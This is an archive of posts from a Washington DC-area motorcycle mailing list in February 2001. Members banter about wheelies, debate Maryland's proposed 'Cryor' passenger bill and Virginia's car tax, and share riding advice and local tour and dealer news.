web312.mail.yahoo.com (web312.mail.yahoo.com [216.115.105.77]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19FTwP24792 for ; Fri, 9 Feb 2001 10:29:59 -0500 (EST) Message-ID: <20010209152956.16304.qmail@web312.mail.yahoo.com> Received: from [198.26.132.101] by web312.mail.yahoo.com; Fri, 09 Feb 2001 07:29:56 PST Date: Fri, 9 Feb 2001 07:29:56 -0800 (PST) From: "Louis F. Caplan" Subject: RE: great day to ride... To: dc-cycles@XXXXXX In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- Christopher Weaver wrote: > Oh, I plan to. I got to wheelie past a schoolbus full of kids this morning. > I'm not sure who enjoyed it more. :^) > > Chris Weaver > VTR YSR dccycles.com You hooligan you!! I'm just jealous cuz I have a shaft drive bike. And as everyone knows, shafties can't wheelie! ;-) Louis ===== "Admiral" Louis Caplan 1998 Kawasaki Concours Alexandria, VA Co-Planner, MD20-20 http://www.masondixon20-20.org/ Home Page: http://members.nbci.com/Nighthawk700/cycle.htm __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 9 10:32:38 2001 Return-Path: Received: from web9009.mail.yahoo.com (web9009.mail.yahoo.com [216.136.128.171]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19FWaP24873 for ; Fri, 9 Feb 2001 10:32:37 -0500 (EST) Message-ID: <20010209153232.96387.qmail@web9009.mail.yahoo.com> Received: from [209.8.43.134] by web9009.mail.yahoo.com; Fri, 09 Feb 2001 07:32:32 PST Date: Fri, 9 Feb 2001 07:32:32 -0800 (PST) From: Tight Squeeze Racing Subject: Injury Fund E-News: Feb '01 To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii The Injury Fund Feb E-Newsletter is at: http://www.wera.com/ubb/Forum1/HTML/001414.html I wanted to highlight the Raffle Ticket Specials for you: 1. Buy 4 tickets, get 1 ticket *Free* 2. Buy 2 tickets, get a *Free* T-Shirt! Check out the shirts at: http://www.tightsqueezeracing.org/Raffle.htm Thanks! __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 9 10:38:18 2001 Return-Path: Received: from web314.mail.yahoo.com (web314.mail.yahoo.com [216.115.105.79]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19FcHP24950 for ; Fri, 9 Feb 2001 10:38:17 -0500 (EST) Message-ID: <20010209153814.25782.qmail@web314.mail.yahoo.com> Received: from [198.26.132.101] by web314.mail.yahoo.com; Fri, 09 Feb 2001 07:38:13 PST Date: Fri, 9 Feb 2001 07:38:13 -0800 (PST) From: "Louis F. Caplan" Subject: Tours in NC, SC, TN, GA To: DC-Cycles MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Got this link recently: http://highvalleyairinc.com/ The owner of TWO (Two Wheels Only Motorcycle Resort) is now doing one day tours in the NC/SC/TN/GA area. $150 for up to a group of 5 people, not bad at all. Currently the tours are only on Tuesdays and Thursdays, but may expand. I'll be keeping an eye out for openings on my calender. (I think he is the owner, but haven't verified) Louis Note, I'm not associated with TWO, not related to any members, don't receive a kick back, am not responsible if you go there and crash, all rights reserved, check warrentee, no holds barred, etc., blah, blah, yadda yadda.... ===== "Admiral" Louis Caplan 1998 Kawasaki Concours Alexandria, VA Co-Planner, MD20-20 http://www.masondixon20-20.org/ Home Page: http://members.nbci.com/Nighthawk700/cycle.htm __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 9 10:51:53 2001 Return-Path: Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19FppP25144 for ; Fri, 9 Feb 2001 10:51:52 -0500 (EST) Received: from 66-44-47-169.s423.tnt4.lnhdc.md.dialup.rcn.com ([66.44.47.169] helo=pawilson) by smtp02.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14RFps-00029Y-00 for dc-cycles@XXXXXX; Fri, 09 Feb 2001 10:51:49 -0500 Message-ID: <007701c092b0$38c04d00$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" References: <5a.10e4fefc.27b55ba4@aol.com> Subject: Re: Car tax WAS Cryor bill - real life example Date: Fri, 9 Feb 2001 10:50:46 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200 I've worked for companies were if you want to be a "team player" you're expected to devote the lunch hours and after work hours to these "social type" activities. In a large enough office it can be quite a burden. I don't necessarily want to hang out with people in the off hours just due to the accident of employment. Agreed that it should be on the employee's own time in the public sector. In the private sector if the bosses countenance such behavior that's up to them. Most public sector employees get plenty of paid vacation and holidays. I don't feel sorry for them if they have to work an honest 40 hours every week. Paul in DC Former public sector employee ----- Original Message ----- From: GOINGRIDING@XXXXXX To: dc-cycles@XXXXXX Sent: Friday, February 09, 2001 9:41 AM Subject: Re: Car tax WAS Cryor bill - real life example In a message dated 2/8/01 5:27:36 PM Eastern Standard Time, bhuson@XXXXXX writes: Oh, yeah, and such stuff *never* happens in the private sector. Not in my private sector it doesnt. My co. has one party per month to celebrate and it comes at the end of the day always on a Friday. Besides, in the private sector, the only people who are paying for it are the company themselves, not taxpayers. Not a good comparison I dont think. From dc-cycles-request Fri Feb 9 11:20:52 2001 Return-Path: Received: from kuku.excite.com (kuku-rwcmta.excite.com [198.3.99.63]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19GKnP25558 for ; Fri, 9 Feb 2001 11:20:50 -0500 (EST) Received: from prickles ([199.172.153.88]) by kuku.excite.com (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20010209161513.KGSK20829.kuku.excite.com@prickles> for ; Fri, 9 Feb 2001 08:15:13 -0800 Message-ID: <20696363.981735313316.JavaMail.imail@prickles> Date: Fri, 9 Feb 2001 08:15:13 -0800 (PST) From: James Hoofnagle To: dc-cycles@XXXXXX Subject: Cryor, Taxes & advice Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Excite Inbox X-Sender-Ip: 207.172.7.9 Ok, not to add fuel to the fire, but much of the arugements made against the Cryor bill have been "it's a common sense issue" arugements. And this is only an observation, not a judgement. This morning on the way to work I saw a man on a heavy cruiser with no helmet, his daughter on the back, barely big enough to strech her arms to grab the sides of his jacket. Much less get around him. She had his helmet on, tipped back so that the chin bar was on her forehead. My point is that while I think most of the riders on this list have some modicum common sense, I also think common sense isn't so common. Granted Dad and kid were probably just a block or 2 to school, but it seemed topical As far as taxes, just cause we're not paying as much in "car tax" doesn't mean the revenue isn't coming in. As an example, did you pay attention to the booze prices about the time the first year the "car tax" started being repealed? How about the tax on the gas we put in our beloved cars? The money will come from somewhere, it's just a matter of where. I like the roads in VA., for the most part they're in pretty good condition, I'd like to keep it that way. Don't like car taxes? Buy a smaller car, your save on gas too. And as for advice, this came across another list I'm on, from a semi driver: Don't ride beside a truck for too long, but don't ride up on his back door doin 90 and cut to the left to pass quick either. Make it a habit to pass at 5mph to 15mph faster than the truck is doing, and ride closer to the side of the truck rather than as far away as you can get. A truck driver can see all the way down the side of the trailer, but usually not even four feet to the left. I turn about 3,500 miles a week on the east coast, so I'm just trying to give a little advice. But, watch out anyway because as Dennis has showed sometimes theres nothing you can do but get out of the way. And! if you see a JB Hunt truck, stay far away. They'll hire anybody. _______________________ They can't hit you, if they can't catch you. James E-TKT _______________________________________________________ Send a cool gift with your E-Card http://www.bluemountain.com/giftcenter/ From dc-cycles-request Fri Feb 9 11:49:51 2001 Return-Path: Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19GnoP25906 for ; Fri, 9 Feb 2001 11:49:50 -0500 (EST) Received: from 66-44-42-250.s250.tnt2.lnhdc.md.dialup.rcn.com ([66.44.42.250] helo=pawilson) by smtp02.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14RGjz-0002Td-00 for dc-cycles@XXXXXX; Fri, 09 Feb 2001 11:49:48 -0500 Message-ID: <001301c092b8$525ae420$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" References: <20696363.981735313316.JavaMail.imail@prickles> Subject: Re: Cryor, Taxes & advice Date: Fri, 9 Feb 2001 11:48:48 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Re: helmetless rider and helmeted passenger and the issue of common sense. Will Cryor next try to legislation properly fitting helmets? Regulate how the feet must be placed on the pegs? "Common sense" is impossible to legislate. Re: car tax. Despite all the sturm und drang people seem to forget that this tax is levied and collected locally. If it was so despised, why in all those years didn't folks demand that their local city councils and county boards lower or eliminate the tax? Methinks Gilmore whipped up a poll-tested furor just to get elected. Cynical? Moi? Paul in DC ----- Original Message ----- From: James Hoofnagle To: Sent: Friday, February 09, 2001 11:15 AM Subject: Cryor, Taxes & advice > Ok, not to add fuel to the fire, but much of the arugements made against the > Cryor bill have been "it's a common sense issue" arugements. And this is > only an observation, not a judgement. This morning on the way to work I saw > a man on a heavy cruiser with no helmet, his daughter on the back, barely > big enough to strech her arms to grab the sides of his jacket. ... > > As far as taxes, just cause we're not paying as much in "car tax" doesn't > mean the revenue isn't coming in. As an example, did you pay attention to > the booze prices about the time the first year the "car tax" started being > repealed? How about the tax on the gas we put in our beloved cars? The > money will come from somewhere, it's just a matter of where. I like the > roads in VA., for the most part they're in pretty good condition, I'd like > to keep it that way. Don't like car taxes? Buy a smaller car, your save on > gas too. > From dc-cycles-request Fri Feb 9 12:04:05 2001 Return-Path: Received: from lycanthrope.crosslink.net (lycanthrope.crosslink.net [206.246.124.36]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19H43P26156 for ; Fri, 9 Feb 2001 12:04:04 -0500 (EST) Received: from lhs149teacher ([209.147.77.15]) by lycanthrope.crosslink.net (8.9.3/) with SMTP id MAA18220 for ; Fri, 9 Feb 2001 12:03:59 -0500 X-Really-To: Received: by localhost with Microsoft MAPI; Fri, 9 Feb 2001 12:06:20 -0500 Message-ID: <01C09290.B6CB8130.danthompson@libertyhs.com> From: Danny Thompson To: "Dc-Cycles (E-mail)" Subject: RE: great day to ride... Date: Fri, 9 Feb 2001 12:06:18 -0500 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Encoding: 29 TEXT Chris, I can't believe you would set such a bad example for all of those impressionable youths...... I am sorely disappointed. Danny #903 Novice (WERA, CCS) '98 VTR '00 SV (For SALE) www.onewayracing.org Proudly Sponsored by: Blalock Cycle www.blalockcycle.com, Shen Valley Trailers www.shenvalleywarrenton.com On Friday, February 09, 2001 9:56 AM, Christopher Weaver [SMTP:chris.weaver@XXXXXX] wrote: > Oh, I plan to. I got to wheelie past a schoolbus full of kids this morning. > I'm not sure who enjoyed it more. :^) > > Chris Weaver > VTR YSR dccycles.com > > -----Original Message----- > From: Louis F. Caplan [mailto:nighthawk700@XXXXXX] > [snip] > To all of you who rode in, HAVE FUN!!! > > Louis > From dc-cycles-request Fri Feb 9 12:04:18 2001 Return-Path: Received: from imo-r18.mx.aol.com (imo-r18.mx.aol.com [152.163.225.72]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19H4GP26159 for ; Fri, 9 Feb 2001 12:04:16 -0500 (EST) Received: from GOINGRIDING@XXXXXX by imo-r18.mx.aol.com (mail_out_v29.5.) id 2.6b.fa3c471 (6963) for ; Fri, 9 Feb 2001 12:03:52 -0500 (EST) From: GOINGRIDING@XXXXXX Message-ID: <6b.fa3c471.27b57cf8@aol.com> Date: Fri, 9 Feb 2001 12:03:52 EST Subject: Re: Car tax WAS Cryor bill - real life example To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_6b.fa3c471.27b57cf8_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 10501 --part1_6b.fa3c471.27b57cf8_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/9/01 10:54:08 AM Eastern Standard Time, pawilson@XXXXXX writes: > . Most public sector employees get plenty of > paid vacation and holidays. I don't feel sorry for them if they have to > work an honest 40 hours every week. > Thats another thing as well. She gets more days off than anyone I have ever seen....and she's a state employee. Example, 3 days off for Thanksgiving, 3 days for Xmas. All paid of course. I was back in the office the day after Thanksgiving...pissed me off. I guess Im partly jealous but in the end, all these parties, holidays, etc are all at the taxpayers expense..... --part1_6b.fa3c471.27b57cf8_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/9/01 10:54:08 AM Eastern Standard Time,
pawilson@XXXXXX writes:


.  Most public sector employees get plenty of
paid vacation and holidays.  I don't feel sorry for them if they have to
work an honest 40 hours every week.


Thats another thing as well.  She gets more days off than anyone I have ever
seen....and she's a state employee.  Example, 3 days off for Thanksgiving, 3
days for Xmas.  All paid of course.  I was back in the office the day after
Thanksgiving...pissed me off.  I guess Im partly jealous but in the end, all
these parties, holidays, etc are all at the taxpayers expense.....
--part1_6b.fa3c471.27b57cf8_boundary-- From dc-cycles-request Fri Feb 9 12:18:52 2001 Return-Path: Received: from www.mostlyharmless.net (w157.z216112246.was-dc.dsl.cnc.net [216.112.246.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19HIoP26350 for ; Fri, 9 Feb 2001 12:18:50 -0500 (EST) Received: from www.mostlyharmless.net (localhost.localdomain [127.0.0.1]) by www.mostlyharmless.net (8.11.0/8.8.7) with SMTP id f19HMkn28192 for ; Fri, 9 Feb 2001 12:22:46 -0500 From: Brian Roach Reply-To: roach@XXXXXX To: dc-cycles@XXXXXX Subject: Re: Cryor, Taxes & advice Date: Fri, 9 Feb 2001 12:22:46 -0500 X-Mailer: KMail [version 1.1.95.2] Content-Type: text/plain References: <20696363.981735313316.JavaMail.imail@prickles> In-Reply-To: <20696363.981735313316.JavaMail.imail@prickles> MIME-Version: 1.0 Message-Id: <01020912224612.08143@www.mostlyharmless.net> Content-Transfer-Encoding: 8bit On Fri, 09 Feb 2001, James Hoofnagle wrote: >M- My point is that while I think most of the >M- riders on this list have some modicum common sense, I also think common >M- sense isn't so common. M- Granted Dad and kid were probably just a block or 2 >M- to school, but it seemed topical And passing laws won't change a thing. That person is already breaking the helmet law, and endargering their child, and would summarily ignore any additional laws passed. You can NOT legislate common sense. The law is useless, so why pass it? So the state can give him a ticket (maybe, if the cops put down the radar gun long enough to enforce a different traffic law)? >M- As far as taxes, just cause we're not paying as much in "car tax" doesn't >M- mean the revenue isn't coming in. M- As an example, did you pay attention to >M- the booze prices about the time the first year the "car tax" started being >M- repealed? M- How about the tax on the gas we put in our beloved cars? M- The >M- money will come from somewhere, it's just a matter of where. M- I like the >M- roads in VA., for the most part they're in pretty good condition, I'd like >M- to keep it that way. M- Don't like car taxes? M- Buy a smaller car, your save >M- on gas too. Smaller has nothing to do with it. A porsche 911 isn't very big to begin with, and remarkably gets pretty decent gas milage. The tax is BS and works against the middle class - case in point, I got rid of my BMW ($1600 a year in car tax) and bought a '67 porche 911. Why? Because I can completely restore the 911, have a really nice sports car, and pay nothing in car tax (ooh! and no emmisions either!) The state gets less money, a local car dealer gets less money, etc. I also know quite a few people who register their cars out of state to get around the tax. Aside from that, the tax is like an insult. I have to pay for my car again and again and again, plus - it's not even valued correctly. You are taxed on the blue-book value of your car in *perfect* condition. Oh, and try and get your car taxed on a true appraisal - it's an effort in futility (I tried this with my mom's old BMW, which had 225,000 miles on it yet was taxed at a $6500 value). And the car tax is *local* - the beltway, nor any other state-maintained road doesn't see a dime of the tax. But you do get nice huge new Gov't buildings in fairfax county, so I guess it's ok. - Roach From dc-cycles-request Fri Feb 9 12:59:11 2001 Return-Path: Received: from loki.vitalspring.com (loki.vitalspring.com [66.2.186.213]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19HxAP26990 for ; Fri, 9 Feb 2001 12:59:10 -0500 (EST) Received: from 66-2-186-195.customer.algx.net ([66.2.186.195]) by loki.vitalspring.com (8.9.3/8.9.3) with SMTP id MAA13884 for ; Fri, 9 Feb 2001 12:50:09 -0500 From: "Christopher Weaver" To: "Dc-Cycles \(E-mail\)" Received: from no.name.available by 66-2-186-195.customer.algx.net via smtpd (for www.vitalspring.com [66.2.186.214]) with SMTP; 9 Feb 2001 18:01:22 UT Subject: RE: great day to ride... Date: Fri, 9 Feb 2001 12:58:52 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <01C09290.B6CB8130.danthompson@libertyhs.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 What do you expect from an impressionable adult? ;^) Chris Weaver VTR YSR dccycles.com -----Original Message----- From: Danny Thompson [mailto:danthompson@XXXXXX] Sent: Friday, February 09, 2001 12:06 PM To: Dc-Cycles (E-mail) Subject: RE: great day to ride... Chris, I can't believe you would set such a bad example for all of those impressionable youths...... I am sorely disappointed. Danny #903 Novice (WERA, CCS) '98 VTR '00 SV (For SALE) www.onewayracing.org Proudly Sponsored by: Blalock Cycle www.blalockcycle.com, Shen Valley Trailers www.shenvalleywarrenton.com On Friday, February 09, 2001 9:56 AM, Christopher Weaver [SMTP:chris.weaver@XXXXXX] wrote: > Oh, I plan to. I got to wheelie past a schoolbus full of kids this morning. > I'm not sure who enjoyed it more. :^) > > Chris Weaver > VTR YSR dccycles.com > > -----Original Message----- > From: Louis F. Caplan [mailto:nighthawk700@XXXXXX] > [snip] > To all of you who rode in, HAVE FUN!!! > > Louis > From dc-cycles-request Fri Feb 9 13:15:25 2001 Return-Path: Received: from dchqexs1.fsis.usda.gov (wsc.ag.gov.203.128.199.in-addr.arpa [199.128.203.12] (may be forged)) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19IFOP27309 for ; Fri, 9 Feb 2001 13:15:24 -0500 (EST) Received: by wsc.ag.gov.203.128.199.in-addr.arpa with Internet Mail Service (5.5.2650.21) id <1FVXWR7C>; Fri, 9 Feb 2001 13:15:11 -0500 Message-ID: <776B2ABC9364D411867B009027B69A2F01612D49@DCHQCLEXHQ> From: "Custer, Carl" To: "'DCCycles'" Cc: "'perrycoleman@XXXXXX'" , "'bhuson@XXXXXX'" Subject: Cryor bill Date: Fri, 9 Feb 2001 13:16:34 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Perry pondered, "On the other hand, do we really need another law because a fraction of a percent, of a fraction of a percent, of the population do not have (or apply) common sense as pertains to carrying a passenger on their motorcycle?" My wife would say, "Don't interfere with survival of the fittest. Yes, they're innocents but they're carrying the driver's genes." I feel the most cogent argument against this bill is the Maryland Assembly (& Cryor) has far more important things to do than entertain this proposal. E.g. For Interstates and other restricted access through ways: Reserve left lane for passing Ban passing on the right Better driver education Way better driver etiquette for drivers of vehicles weighing >3300 lbs Better response from citizen's complaints than "If we didn't ' see it . . . " Even a lame letter & . . . but lunch is up Carl in Bethesda From dc-cycles-request Fri Feb 9 13:16:41 2001 Return-Path: Received: from tove.cs.umd.edu (tove.cs.umd.edu [128.8.128.42]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19IGdP27319 for ; Fri, 9 Feb 2001 13:16:40 -0500 (EST) Received: from mimsy.cs.umd.edu (mimsy.cs.umd.edu [128.8.128.8]) by tove.cs.umd.edu (8.9.3/8.9.1) with ESMTP id NAA04296 for ; Fri, 9 Feb 2001 13:16:36 -0500 (EST) Received: from mail.troutman.org (dsl-64-194-164-125.telocity.com [64.194.164.125]) by mimsy.cs.umd.edu (8.9.3/8.9.1) with ESMTP id NAA13283 for ; Fri, 9 Feb 2001 13:16:36 -0500 (EST) Received: from vulture.wheatintl.com ([209.249.185.69]) by mail.troutman.org (8.9.3/8.9.3) with ESMTP id NAA12844 for ; Fri, 9 Feb 2001 13:16:28 -0500 Message-Id: <5.0.0.25.2.20010209131415.033bec60@mail.wheatintl.com> X-Sender: mtroutma@XXXXXX X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Fri, 09 Feb 2001 13:16:21 -0500 To: dc-cycles@XXXXXX From: Troutman Subject: Rejuvination Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed I never really stopped riding this winter, but with all the snow and sand I had a week or two at a time where I didn't saddle up. I feel so sorry for those of you that didn't go for a lunchtime ride. I just spent an hour and a half exploring Reston/Herndon/Vienna back roads. Still a lot of sandy curves, but I feel .... better .... more awake .... ready for Summer ;-) ___________________________________________ Mike Troutman http://www.troutman.org/vfr '97 Honda VFR 750 Member : AMA ~=~ NMA ~=~ NRA "Government can't solve the problem. Government is the problem." --Ronald Reagan From dc-cycles-request Fri Feb 9 13:27:06 2001 Return-Path: Received: from dgesmtp01.wcom.com (dgesmtp01.wcom.com [199.249.16.16]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19IR4P27488 for ; Fri, 9 Feb 2001 13:27:04 -0500 (EST) Received: from pmismtp04.wcomnet.com ([166.38.62.39]) by firewall.mcit.com (PMDF V5.2-33 #42260) with ESMTP id <0G8I005H45V3O7@XXXXXX> for dc-cycles@XXXXXX; Fri, 9 Feb 2001 18:25:51 +0000 (GMT) Received: from pmismtp04.wcomnet.com by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8I00I015UOZH@XXXXXX>; Fri, 09 Feb 2001 18:25:51 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8I00FJZ5UKC9@XXXXXX>; Fri, 09 Feb 2001 18:25:33 +0000 (GMT) Date: Fri, 09 Feb 2001 13:25:28 -0500 From: Dale Horstman Subject: Re: Cryor bill To: "Custer, Carl" Cc: "'DCCycles'" , "'perrycoleman@XXXXXX'" , "'bhuson@XXXXXX'" Message-id: <3A843618.76807FE0@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <776B2ABC9364D411867B009027B69A2F01612D49@DCHQCLEXHQ> "Custer, Carl" wrote: > E.g. > For Interstates and other restricted access through ways: > Reserve left lane for passing > Ban passing on the right I agree with the left lane only for passing. But if someone isn't getting out of my way, and I can go around him on the right, I will. I'm not gonna sit there and piss around with flashing high beams and honking horns, trying to get the attention of an idiot. I've got more important things to do. :) Dale -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Fri Feb 9 13:41:08 2001 Return-Path: Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19If5P27672 for ; Fri, 9 Feb 2001 13:41:05 -0500 (EST) Received: from pmismtp04.wcomnet.com ([166.38.62.39]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0G8I00E266IQ1T@XXXXXX> for dc-cycles@XXXXXX; Fri, 9 Feb 2001 18:40:03 +0000 (GMT) Received: from pmismtp04.wcomnet.com by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8I003016IP2E@XXXXXX> for dc-cycles@XXXXXX; Fri, 09 Feb 2001 18:40:02 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8I0022S6I82U@XXXXXX> for dc-cycles@XXXXXX; Fri, 09 Feb 2001 18:39:45 +0000 (GMT) Date: Fri, 09 Feb 2001 13:39:41 -0500 From: Dale Horstman Subject: Re: new Kawasaki dealer in Woodbridge To: DC Cycles List Message-id: <3A84396D.1B19D551@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <4.2.2.20010208234100.00ab91a0@XXXXXX> This just came out of the Rumor Mill: > The guy at the new dealership said that Powerride lost both Kawasaki and > Honda franchises. They're waiting for Powerride to take the big Honda sign > down. :-) Horkster -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Fri Feb 9 13:44:24 2001 Return-Path: Received: from web901.mail.yahoo.com (web901.mail.yahoo.com [128.11.23.76]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19IiLP27747 for ; Fri, 9 Feb 2001 13:44:23 -0500 (EST) Received: (qmail 8509 invoked by uid 60001); 9 Feb 2001 18:44:14 -0000 Message-ID: <20010209184414.8508.qmail@web901.mail.yahoo.com> Received: from [206.229.31.23] by web901.mail.yahoo.com; Fri, 09 Feb 2001 10:44:14 PST Date: Fri, 9 Feb 2001 10:44:14 -0800 (PST) From: Leon Begeman Subject: Re: Cryor, Taxes & advice To: James Hoofnagle , dc-cycles@XXXXXX In-Reply-To: <20696363.981735313316.JavaMail.imail@prickles> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii 2) --- James Hoofnagle wrote: > This morning > on the way to work I saw > a man on a heavy cruiser with no helmet, his Maryland says he has to wear a helmet. So he's already got one ticket. > daughter on the back, barely > big enough to strech her arms to grab the sides of > his jacket. Much less > get around him. She had his helmet on, tipped back > so that the chin bar was > on her forehead. My point is that while I think Sounds like a credible argument that she's not wearing a helmet either. Given the other items, reckless endangerment of a minor sounds like a reasonable charge. I doubt a separate law is needed. . . . snip . . . > to keep it that way. Don't like car taxes? Buy a > smaller car, your save on > gas too. > Don't have a car at all, but I still don't like paying taxes on the bikes. You like the taxes, lets do it like the states that have no helmet law. Repeal the taxes. Those of us who want the state to do less won't pay then, you can continue to pay those taxes even when the law is repealed (you have been paying the extra 30 or 50 percent so far haven't you?) Doing that would be one way to show the state that you oppose reducing the tax. I'm certain that the state will be happy to keep your money. And they'll be happy to spend that additional revenue. Since you sent them extra money, they might even allow you to earmark where you want them to spend it. > And! if you see > a JB Hunt truck, stay far away. They'll hire > anybody. this one just sounds like a gratuitous swipe at the competition. Leon. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 9 14:10:49 2001 Return-Path: Received: from web906.mail.yahoo.com (web906.mail.yahoo.com [128.11.23.81]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f19JAlP28155 for ; Fri, 9 Feb 2001 14:10:47 -0500 (EST) Received: (qmail 26550 invoked by uid 60001); 9 Feb 2001 19:10:45 -0000 Message-ID: <20010209191045.26549.qmail@web906.mail.yahoo.com> Received: from [207.192.134.198] by web906.mail.yahoo.com; Fri, 09 Feb 2001 11:10:45 PST Date: Fri, 9 Feb 2001 11:10:45 -0800 (PST) From: Justin Stefanon Subject: RE: great day to ride... To: dcbike In-Reply-To: <20010209152956.16304.qmail@web312.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii VTR's on the other hand, can't not wheelie. Last time I got to ride it, my brother's vtr taught me how to wheelie while passing a school bus. Is there something in our demented brains that makes this necessary? --- "Louis F. Caplan" wrote: > --- Christopher Weaver > wrote: > > Oh, I plan to. I got to wheelie past a schoolbus > full of kids this morning. > > I'm not sure who enjoyed it more. :^) > > > > Chris Weaver > > VTR YSR dccycles.com > > You hooligan you!! > > I'm just jealous cuz I have a shaft drive bike. And > as everyone knows, > shafties can't wheelie! ;-) > > Louis > > > ===== > "Admiral" Louis Caplan 1998 Kawasaki Concours > Alexandria, VA > Co-Planner, MD20-20 http://www.masondixon20-20.org/ > > Home Page: > http://members.nbci.com/Nighthawk700/cycle.htm > > __________________________________________________ > Do You Yahoo!? > Get personalized email addresses from Yahoo! Mail - > only $35 > a year! http://personal.mail.yahoo.com/ __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 9 14:41:05 2001 Return-Path: Received: from dchqexs1.fsis.usda.gov (wsc.ag.gov.203.128.199.in-addr.arpa [199.128.203.12] (may be forged)) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f19Jf4P28583 for ; Fri, 9 Feb 2001 14:41:04 -0500 (EST) Received: by wsc.ag.gov.203.128.199.in-addr.arpa with Internet Mail Service (5.5.2650.21) id <1FVXWSQH>; Fri, 9 Feb 2001 14:40:57 -0500 Message-ID: <776B2ABC9364D411867B009027B69A2F01612D4F@DCHQCLEXHQ> From: "Custer, Carl" To: "'Dale Horstman'" Cc: "'DCCycles'" Subject: RE: Cryor bill Date: Fri, 9 